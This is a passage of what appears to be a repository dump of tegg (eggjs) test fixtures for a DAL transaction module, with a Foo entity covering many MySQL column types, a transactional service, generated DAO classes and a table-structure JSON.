},\n    ];\n    foo.polygonColumn = [\n      [\n        { x: 0, y: 0 },\n        { x: 10, y: 0 },\n        { x: 10, y: 10 },\n        { x: 0, y: 10 },\n        { x: 0, y: 0 },\n      ],\n      [\n        { x: 5, y: 5 },\n        { x: 7, y: 5 },\n        { x: 7, y: 7 },\n        { x: 5, y: 7 },\n        { x: 5, y: 5 },\n      ],\n    ];\n    foo.multipointColumn = [\n      { x: 0, y: 0 },\n      { x: 20, y: 20 },\n      { x: 60, y: 60 },\n    ];\n    foo.multiLineStringColumn = [\n      [\n        { x: 10, y: 10 },\n        { x: 20, y: 20 },\n      ],\n      [\n        { x: 15, y: 15 },\n        { x: 30, y: 15 },\n      ],\n    ];\n    foo.multiPolygonColumn = [\n      [\n        [\n          { x: 0, y: 0 },\n          { x: 10, y: 0 },\n          { x: 10, y: 10 },\n          { x: 0, y: 10 },\n          { x: 0, y: 0 },\n        ],\n      ],\n      [\n        [\n          { x: 5, y: 5 },\n          { x: 7, y: 5 },\n          { x: 7, y: 7 },\n          { x: 5, y: 7 },\n          { x: 5, y: 5 },\n        ],\n      ],\n    ];\n    foo.geometryCollectionColumn = [\n      { x: 10, y: 10 },\n      { x: 30, y: 30 },\n      [\n        { x: 15, y: 15 },\n        { x: 20, y: 20 },\n      ],\n    ];\n    foo.jsonColumn = {\n      hello: 'json',\n    };\n    await this.fooDAO.insert(foo);\n    return this.fooDAO.findOneByCol1('2333');\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-module/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"skipLibCheck\": true\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/module.yml",
    "content": "dataSource:\n  foo:\n    connectionLimit: 100\n    database: 'test_dal_standalone'\n    host: '127.0.0.1'\n    user: root\n    port: 3306\n    timezone: '+08:00'\n    forkDb: true\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"@eggjs/dal-plugin\": \"*\"\n  },\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/Foo.ts",
    "content": "import {\n  Column,\n  ColumnType,\n  type Geometry,\n  type GeometryCollection,\n  Index,\n  IndexType,\n  IndexStoreType,\n  type Line,\n  type MultiLine,\n  type MultiPoint,\n  type MultiPolygon,\n  type Point,\n  type Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column({\n    type: ColumnType.TIMESTAMP,\n    precision: 3,\n  })\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n\n  static buildObj(): Foo {\n    const foo = new Foo();\n    foo.name = 'name';\n    foo.col1 = 'col1';\n    foo.bitColumn = Buffer.from([0, 0]);\n    foo.boolColumn = 0;\n    foo.tinyIntColumn = 0;\n    foo.smallIntColumn = 1;\n    foo.mediumIntColumn = 3;\n    foo.intColumn = 3;\n    foo.bigIntColumn = '00099';\n    foo.decimalColumn = '00002.33333';\n    foo.floatColumn = 2.3;\n    foo.doubleColumn = 2.3;\n    foo.dateColumn = new Date('2020-03-15T16:00:00.000Z');\n    foo.dateTimeColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timestampColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timeColumn = '838:59:50.123';\n    foo.yearColumn = 2024;\n    foo.varCharColumn = 'var_char';\n    foo.binaryColumn = Buffer.from('b');\n    foo.varBinaryColumn = Buffer.from('var_binary');\n    foo.tinyBlobColumn = Buffer.from('tiny_blob');\n    foo.tinyTextColumn = 'text';\n    foo.blobColumn = Buffer.from('blob');\n    foo.textColumn = 'text';\n    foo.mediumBlobColumn = Buffer.from('medium_blob');\n    foo.longBlobColumn = Buffer.from('long_blob');\n    foo.mediumTextColumn = 'medium_text';\n    foo.longTextColumn = 'long_text';\n    foo.enumColumn = 'A';\n    foo.setColumn = 'B';\n    foo.geometryColumn = { x: 10, y: 10 };\n    foo.pointColumn = { x: 10, y: 10 };\n    foo.lineStringColumn = [\n      { x: 15, y: 15 },\n      { x: 20, y: 20 },\n    ];\n    foo.polygonColumn = [\n      [\n        { x: 0, y: 0 },\n        { x: 10, y: 0 },\n        { x: 10, y: 10 },\n        { x: 0, y: 10 },\n        { x: 0, y: 0 },\n      ],\n      [\n        { x: 5, y: 5 },\n        { x: 7, y: 5 },\n        { x: 7, y: 7 },\n        { x: 5, y: 7 },\n        { x: 5, y: 5 },\n      ],\n    ];\n    foo.multipointColumn = [\n      { x: 0, y: 0 },\n      { x: 20, y: 20 },\n      { x: 60, y: 60 },\n    ];\n    foo.multiLineStringColumn = [\n      [\n        { x: 10, y: 10 },\n        { x: 20, y: 20 },\n      ],\n      [\n        { x: 15, y: 15 },\n        { x: 30, y: 15 },\n      ],\n    ];\n    foo.multiPolygonColumn = [\n      [\n        [\n          { x: 0, y: 0 },\n          { x: 10, y: 0 },\n          { x: 10, y: 10 },\n          { x: 0, y: 10 },\n          { x: 0, y: 0 },\n        ],\n      ],\n      [\n        [\n          { x: 5, y: 5 },\n          { x: 7, y: 5 },\n          { x: 7, y: 7 },\n          { x: 5, y: 7 },\n          { x: 5, y: 5 },\n        ],\n      ],\n    ];\n    foo.geometryCollectionColumn = [\n      { x: 10, y: 10 },\n      { x: 30, y: 30 },\n      [\n        { x: 15, y: 15 },\n        { x: 20, y: 20 },\n      ],\n    ];\n    foo.jsonColumn = {\n      hello: 'json',\n    };\n    return foo;\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/FooService.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\nimport { Transactional } from '@eggjs/tegg/transaction';\n\nimport FooDAO from './dal/dao/FooDAO.js';\nimport { Foo } from './Foo.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooService {\n  @Inject()\n  private readonly fooDAO: FooDAO;\n\n  @Transactional()\n  async succeedTransaction(): Promise<void> {\n    const foo = Foo.buildObj();\n    foo.name = 'insert_succeed_transaction_1';\n    const foo2 = Foo.buildObj();\n    foo2.name = 'insert_succeed_transaction_2';\n    await this.fooDAO.insert(foo);\n    await this.fooDAO.insert(foo2);\n  }\n\n  @Transactional()\n  async failedTransaction(): Promise<void> {\n    const foo = Foo.buildObj();\n    foo.name = 'insert_failed_transaction_1';\n    const foo2 = Foo.buildObj();\n    foo2.name = 'insert_failed_transaction_2';\n    await this.fooDAO.insert(foo);\n    await this.fooDAO.insert(foo2);\n    throw new Error('mock error');\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/dal/dao/FooDAO.ts",
    "content": "import { SingletonProto, AccessLevel } from '@eggjs/tegg';\n\nimport { Foo } from '../../Foo.js';\nimport { BaseFooDAO } from './base/BaseFooDAO.js';\n\n/**\n * FooDAO 类\n * @class FooDAO\n * @classdesc 在此扩展关于 Foo 数据的一切操作\n * @augments BaseFooDAO\n */\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class FooDAO extends BaseFooDAO {\n  async findByName(name: string): Promise<Foo[]> {\n    return this.dataSource.execute('findByName', {\n      name,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/dal/dao/base/BaseFooDAO.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport type { InsertResult, UpdateResult, DeleteResult } from '@eggjs/dal-decorator';\nimport { type DataSource, DataSourceInjectName, DataSourceQualifier, type ColumnTsType } from '@eggjs/dal-decorator';\nimport { Inject } from '@eggjs/tegg';\nimport { Dao } from '@eggjs/tegg/dal';\n\nimport { Foo } from '../../../Foo.ts';\nimport FooExtension from '../../extension/FooExtension.ts';\nimport Structure from '../../structure/Foo.json' with { type: 'json' };\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\ntype Optional<T, K extends keyof T> = Omit<T, K> & Partial<T>;\n/**\n * 自动生成的 FooDAO 基类\n * @class BaseFooDAO\n * @classdesc 该文件由 @eggjs/tegg 自动生成，请**不要**修改它！\n */\n/* istanbul ignore next */\n@Dao()\nexport class BaseFooDAO {\n  static _SQL = '';\n  static clazzModel: typeof Foo = Foo;\n  static clazzExtension: typeof FooExtension = FooExtension;\n  static tableStature: typeof Structure = Structure;\n  static get tableSql(): string {\n    if (!this._SQL) {\n      this._SQL = fs.readFileSync(path.join(__dirname, '../../structure/Foo.sql'), 'utf8');\n    }\n    return this._SQL;\n  }\n  @Inject({\n    name: DataSourceInjectName,\n  })\n  @DataSourceQualifier('dal.foo.Foo')\n  protected readonly dataSource: DataSource<Foo>;\n\n  public async insert(raw: Optional<Foo, 'id'>): Promise<InsertResult> {\n    const data: Record<string, any> = {};\n    let tmp;\n\n    tmp = raw.id;\n    if (tmp !== undefined) {\n      data.$id = tmp;\n    }\n\n    tmp = raw.name;\n    if (tmp !== undefined) {\n      data.$name = tmp;\n    }\n\n    tmp = raw.col1;\n    if (tmp !== undefined) {\n      data.$col1 = tmp;\n    }\n\n    tmp = raw.bitColumn;\n    if (tmp !== undefined) {\n      data.$bitColumn = tmp;\n    }\n\n    tmp = raw.boolColumn;\n    if (tmp !== undefined) {\n      data.$boolColumn = tmp;\n    }\n\n    tmp = raw.tinyIntColumn;\n    if (tmp !== undefined) {\n      data.$tinyIntColumn = tmp;\n    }\n\n    tmp = raw.smallIntColumn;\n    if (tmp !== undefined) {\n      data.$smallIntColumn = tmp;\n    }\n\n    tmp = raw.mediumIntColumn;\n    if (tmp !== undefined) {\n      data.$mediumIntColumn = tmp;\n    }\n\n    tmp = raw.intColumn;\n    if (tmp !== undefined) {\n      data.$intColumn = tmp;\n    }\n\n    tmp = raw.bigIntColumn;\n    if (tmp !== undefined) {\n      data.$bigIntColumn = tmp;\n    }\n\n    tmp = raw.decimalColumn;\n    if (tmp !== undefined) {\n      data.$decimalColumn = tmp;\n    }\n\n    tmp = raw.floatColumn;\n    if (tmp !== undefined) {\n      data.$floatColumn = tmp;\n    }\n\n    tmp = raw.doubleColumn;\n    if (tmp !== undefined) {\n      data.$doubleColumn = tmp;\n    }\n\n    tmp = raw.dateColumn;\n    if (tmp !== undefined) {\n      data.$dateColumn = tmp;\n    }\n\n    tmp = raw.dateTimeColumn;\n    if (tmp !== undefined) {\n      data.$dateTimeColumn = tmp;\n    }\n\n    tmp = raw.timestampColumn;\n    if (tmp !== undefined) {\n      data.$timestampColumn = tmp;\n    }\n\n    tmp = raw.timeColumn;\n    if (tmp !== undefined) {\n      data.$timeColumn = tmp;\n    }\n\n    tmp = raw.yearColumn;\n    if (tmp !== undefined) {\n      data.$yearColumn = tmp;\n    }\n\n    tmp = raw.varCharColumn;\n    if (tmp !== undefined) {\n      data.$varCharColumn = tmp;\n    }\n\n    tmp = raw.binaryColumn;\n    if (tmp !== undefined) {\n      data.$binaryColumn = tmp;\n    }\n\n    tmp = raw.varBinaryColumn;\n    if (tmp !== undefined) {\n      data.$varBinaryColumn = tmp;\n    }\n\n    tmp = raw.tinyBlobColumn;\n    if (tmp !== undefined) {\n      data.$tinyBlobColumn = tmp;\n    }\n\n    tmp = raw.tinyTextColumn;\n    if (tmp !== undefined) {\n      data.$tinyTextColumn = tmp;\n    }\n\n    tmp = raw.blobColumn;\n    if (tmp !== undefined) {\n      data.$blobColumn = tmp;\n    }\n\n    tmp = raw.textColumn;\n    if (tmp !== undefined) {\n      data.$textColumn = tmp;\n    }\n\n    tmp = raw.mediumBlobColumn;\n    if (tmp !== undefined) {\n      data.$mediumBlobColumn = tmp;\n    }\n\n    tmp = raw.longBlobColumn;\n    if (tmp !== undefined) {\n      data.$longBlobColumn = tmp;\n    }\n\n    tmp = raw.mediumTextColumn;\n    if (tmp !== undefined) {\n      data.$mediumTextColumn = tmp;\n    }\n\n    tmp = raw.longTextColumn;\n    if (tmp !== undefined) {\n      data.$longTextColumn = tmp;\n    }\n\n    tmp = raw.enumColumn;\n    if (tmp !== undefined) {\n      data.$enumColumn = tmp;\n    }\n\n    tmp = raw.setColumn;\n    if (tmp !== undefined) {\n      data.$setColumn = tmp;\n    }\n\n    tmp = raw.geometryColumn;\n    if (tmp !== undefined) {\n      data.$geometryColumn = tmp;\n    }\n\n    tmp = raw.pointColumn;\n    if (tmp !== undefined) {\n      data.$pointColumn = tmp;\n    }\n\n    tmp = raw.lineStringColumn;\n    if (tmp !== undefined) {\n      data.$lineStringColumn = tmp;\n    }\n\n    tmp = raw.polygonColumn;\n    if (tmp !== undefined) {\n      data.$polygonColumn = tmp;\n    }\n\n    tmp = raw.multipointColumn;\n    if (tmp !== undefined) {\n      data.$multipointColumn = tmp;\n    }\n\n    tmp = raw.multiLineStringColumn;\n    if (tmp !== undefined) {\n      data.$multiLineStringColumn = tmp;\n    }\n\n    tmp = raw.multiPolygonColumn;\n    if (tmp !== undefined) {\n      data.$multiPolygonColumn = tmp;\n    }\n\n    tmp = raw.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      data.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = raw.jsonColumn;\n    if (tmp !== undefined) {\n      data.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('insert', data);\n  }\n\n  public async update(id: ColumnTsType['INT'], data: Partial<Foo>): Promise<UpdateResult> {\n    const newData: Record<string, any> = {\n      primary: {\n        id,\n      },\n    };\n    let tmp;\n\n    tmp = data.id;\n    if (tmp !== undefined) {\n      newData.$id = tmp;\n    }\n\n    tmp = data.name;\n    if (tmp !== undefined) {\n      newData.$name = tmp;\n    }\n\n    tmp = data.col1;\n    if (tmp !== undefined) {\n      newData.$col1 = tmp;\n    }\n\n    tmp = data.bitColumn;\n    if (tmp !== undefined) {\n      newData.$bitColumn = tmp;\n    }\n\n    tmp = data.boolColumn;\n    if (tmp !== undefined) {\n      newData.$boolColumn = tmp;\n    }\n\n    tmp = data.tinyIntColumn;\n    if (tmp !== undefined) {\n      newData.$tinyIntColumn = tmp;\n    }\n\n    tmp = data.smallIntColumn;\n    if (tmp !== undefined) {\n      newData.$smallIntColumn = tmp;\n    }\n\n    tmp = data.mediumIntColumn;\n    if (tmp !== undefined) {\n      newData.$mediumIntColumn = tmp;\n    }\n\n    tmp = data.intColumn;\n    if (tmp !== undefined) {\n      newData.$intColumn = tmp;\n    }\n\n    tmp = data.bigIntColumn;\n    if (tmp !== undefined) {\n      newData.$bigIntColumn = tmp;\n    }\n\n    tmp = data.decimalColumn;\n    if (tmp !== undefined) {\n      newData.$decimalColumn = tmp;\n    }\n\n    tmp = data.floatColumn;\n    if (tmp !== undefined) {\n      newData.$floatColumn = tmp;\n    }\n\n    tmp = data.doubleColumn;\n    if (tmp !== undefined) {\n      newData.$doubleColumn = tmp;\n    }\n\n    tmp = data.dateColumn;\n    if (tmp !== undefined) {\n      newData.$dateColumn = tmp;\n    }\n\n    tmp = data.dateTimeColumn;\n    if (tmp !== undefined) {\n      newData.$dateTimeColumn = tmp;\n    }\n\n    tmp = data.timestampColumn;\n    if (tmp !== undefined) {\n      newData.$timestampColumn = tmp;\n    }\n\n    tmp = data.timeColumn;\n    if (tmp !== undefined) {\n      newData.$timeColumn = tmp;\n    }\n\n    tmp = data.yearColumn;\n    if (tmp !== undefined) {\n      newData.$yearColumn = tmp;\n    }\n\n    tmp = data.varCharColumn;\n    if (tmp !== undefined) {\n      newData.$varCharColumn = tmp;\n    }\n\n    tmp = data.binaryColumn;\n    if (tmp !== undefined) {\n      newData.$binaryColumn = tmp;\n    }\n\n    tmp = data.varBinaryColumn;\n    if (tmp !== undefined) {\n      newData.$varBinaryColumn = tmp;\n    }\n\n    tmp = data.tinyBlobColumn;\n    if (tmp !== undefined) {\n      newData.$tinyBlobColumn = tmp;\n    }\n\n    tmp = data.tinyTextColumn;\n    if (tmp !== undefined) {\n      newData.$tinyTextColumn = tmp;\n    }\n\n    tmp = data.blobColumn;\n    if (tmp !== undefined) {\n      newData.$blobColumn = tmp;\n    }\n\n    tmp = data.textColumn;\n    if (tmp !== undefined) {\n      newData.$textColumn = tmp;\n    }\n\n    tmp = data.mediumBlobColumn;\n    if (tmp !== undefined) {\n      newData.$mediumBlobColumn = tmp;\n    }\n\n    tmp = data.longBlobColumn;\n    if (tmp !== undefined) {\n      newData.$longBlobColumn = tmp;\n    }\n\n    tmp = data.mediumTextColumn;\n    if (tmp !== undefined) {\n      newData.$mediumTextColumn = tmp;\n    }\n\n    tmp = data.longTextColumn;\n    if (tmp !== undefined) {\n      newData.$longTextColumn = tmp;\n    }\n\n    tmp = data.enumColumn;\n    if (tmp !== undefined) {\n      newData.$enumColumn = tmp;\n    }\n\n    tmp = data.setColumn;\n    if (tmp !== undefined) {\n      newData.$setColumn = tmp;\n    }\n\n    tmp = data.geometryColumn;\n    if (tmp !== undefined) {\n      newData.$geometryColumn = tmp;\n    }\n\n    tmp = data.pointColumn;\n    if (tmp !== undefined) {\n      newData.$pointColumn = tmp;\n    }\n\n    tmp = data.lineStringColumn;\n    if (tmp !== undefined) {\n      newData.$lineStringColumn = tmp;\n    }\n\n    tmp = data.polygonColumn;\n    if (tmp !== undefined) {\n      newData.$polygonColumn = tmp;\n    }\n\n    tmp = data.multipointColumn;\n    if (tmp !== undefined) {\n      newData.$multipointColumn = tmp;\n    }\n\n    tmp = data.multiLineStringColumn;\n    if (tmp !== undefined) {\n      newData.$multiLineStringColumn = tmp;\n    }\n\n    tmp = data.multiPolygonColumn;\n    if (tmp !== undefined) {\n      newData.$multiPolygonColumn = tmp;\n    }\n\n    tmp = data.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      newData.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = data.jsonColumn;\n    if (tmp !== undefined) {\n      newData.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('update', newData);\n  }\n\n  public async delete(id: ColumnTsType['INT']): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async del(id: ColumnTsType['INT']): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async findByCol1($col1: ColumnTsType['VARCHAR']): Promise<Foo[]> {\n    return this.dataSource.execute('findByCol1', {\n      $col1,\n    });\n  }\n\n  public async findOneByCol1($col1: ColumnTsType['VARCHAR']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByCol1', {\n      $col1,\n    });\n  }\n\n  public async findByUkNameCol1($name: ColumnTsType['VARCHAR'], $col1: ColumnTsType['VARCHAR']): Promise<Foo[]> {\n    return this.dataSource.execute('findByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findOneByUkNameCol1(\n    $name: ColumnTsType['VARCHAR'],\n    $col1: ColumnTsType['VARCHAR'],\n  ): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findById($id: ColumnTsType['INT']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n\n  public async findByPrimary($id: ColumnTsType['INT']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/dal/extension/FooExtension.ts",
    "content": "import { type SqlMap } from '@eggjs/tegg/dal';\n\n/**\n * Define Custom SQLs\n *\n * import { type SqlMap, SqlType } from '@eggjs/tegg/dal';\n *\n * export default {\n *   findByName: {\n *     type: SqlType.SELECT,\n *     sql: 'SELECT {{ allColumns }} from foo where name = {{ name }}'\n *   },\n * }\n */\nexport default {\n  findByName: {\n    type: 'SELECT',\n    sql: 'SELECT {{ allColumns }} FROM egg_foo WHERE name = {{ name }}',\n  },\n} as Record<string, SqlMap>;\n"
  },
  {
    "path": "tegg/standalone/standalone/test/fixtures/dal-transaction-module/src/dal/structure/Foo.json",
    "content": "{\n  \"name\": \"egg_foo\",\n  \"dataSourceName\": \"default\",\n  \"columns\": [\n    {\n      \"columnName\": \"id\",\n      \"propertyName\": \"id\",\n      \"type\": {\n        \"type\": \"INT\"\n      },\n      \"canNull\": false,\n      \"comment\": \"the primary key\",\n      \"autoIncrement\": true,\n      \"primaryKey\": true\n    },\n    {\n      \"columnName\": \"name\",\n      \"propertyName\": \"name\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true,\n      \"uniqueKey\": true\n    },\n    {\n      \"columnName\": \"col1\",\n      \"propertyName\": \"col1\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bit_column\",\n      \"propertyName\": \"bitColumn\",\n      \"type\": {\n        \"type\": \"BIT\",\n        \"length\": 10\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bool_column\",\n      \"propertyName\": \"boolColumn\",\n      \"type\": {\n        \"type\": \"BOOL\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_int_column\",\n      \"propertyName\": \"tinyIntColumn\",\n      \"type\": {\n        \"type\": \"TINYINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"small_int_column\",\n      \"propertyName\": \"smallIntColumn\",\n      \"type\": {\n        \"type\": \"SMALLINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_int_column\",\n      \"propertyName\": \"mediumIntColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"int_column\",\n      \"propertyName\": \"intColumn\",\n      \"type\": {\n        \"type\": \"INT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"big_int_column\",\n      \"propertyName\": \"bigIntColumn\",\n      \"type\": {\n        \"type\": \"BIGINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"decimal_column\",\n      \"propertyName\": \"decimalColumn\",\n      \"type\": {\n        \"type\": \"DECIMAL\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"float_column\",\n      \"propertyName\": \"floatColumn\",\n      \"type\": {\n        \"type\": \"FLOAT\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"double_column\",\n      \"propertyName\": \"doubleColumn\",\n      \"type\": {\n        \"type\": \"DOUBLE\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_column\",\n      \"propertyName\": \"dateColumn\",\n      \"type\": {\n        \"type\": \"DATE\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_time_column\",\n      \"propertyName\": \"dateTimeColumn\",\n      \"type\": {\n        \"type\": \"DATETIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"timestamp_column\",\n      \"propertyName\": \"timestampColumn\",\n      \"type\": {\n        \"type\": \"TIMESTAMP\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"time_column\",\n      \"propertyName\": \"timeColumn\",\n      \"type\": {\n        \"type\": \"TIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"year_column\",\n      \"propertyName\": \"yearColumn\",\n      \"type\": {\n        \"type\": \"YEAR\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_char_column\",\n      